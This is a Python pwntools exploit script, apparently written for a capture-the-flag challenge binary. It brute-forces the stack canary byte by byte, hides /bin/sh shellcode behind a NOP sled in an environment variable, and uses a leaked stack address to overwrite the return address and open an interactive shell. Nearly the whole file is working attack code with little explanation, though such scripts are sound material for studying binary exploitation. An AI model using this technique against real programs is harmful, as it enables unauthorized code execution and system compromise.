#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template /challenge/run
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or '/challenge/run')

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR



def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:    No RELRO
# Stack:    No canary found
# NX:       NX unknown - GNU_STACK missing
# PIE:      No PIE (0x400000)
# Stack:    Executable
# RWX:      Has RWX segments

# canary = b""
canary = b"OiPe7C92"
# canary_found = False
canary_found = True
io = None

while not canary_found and len(canary) != 8: # unsigned long long -> 8 bytes
    for byte in range(256): # byte value range
        io = start()
        io.send(b"A" * 256 + canary + bytes([byte])) 
        output = io.clean() # flush output
        if b"\nHacking" not in output:
            canary += bytes([byte])
            print("updated canary:",canary)
            break
        io.close()

print("final canary",canary)

sled_len = 0x2000
nop_sled = b"\x90" * sled_len

shellcode = asm(shellcraft.sh())

payload = nop_sled + shellcode

io = start(env={"SHELLCODE_CMD": payload})

io.recvuntil(b"for you: ")
rsp_line = io.recvline()[:-1]
rsp_hex = int(rsp_line, 16)
print("Received rsp address:", rsp_line)

target_shellcode_sled = p64(rsp_hex + sled_len)

final_payload = (
    target_shellcode_sled * 0x20 # 256 bytes
    + canary # 8 bytes
    + target_shellcode_sled * 0x8 # 64 bytes
)
print(len(final_payload))

io.send(final_payload)
io.interactive()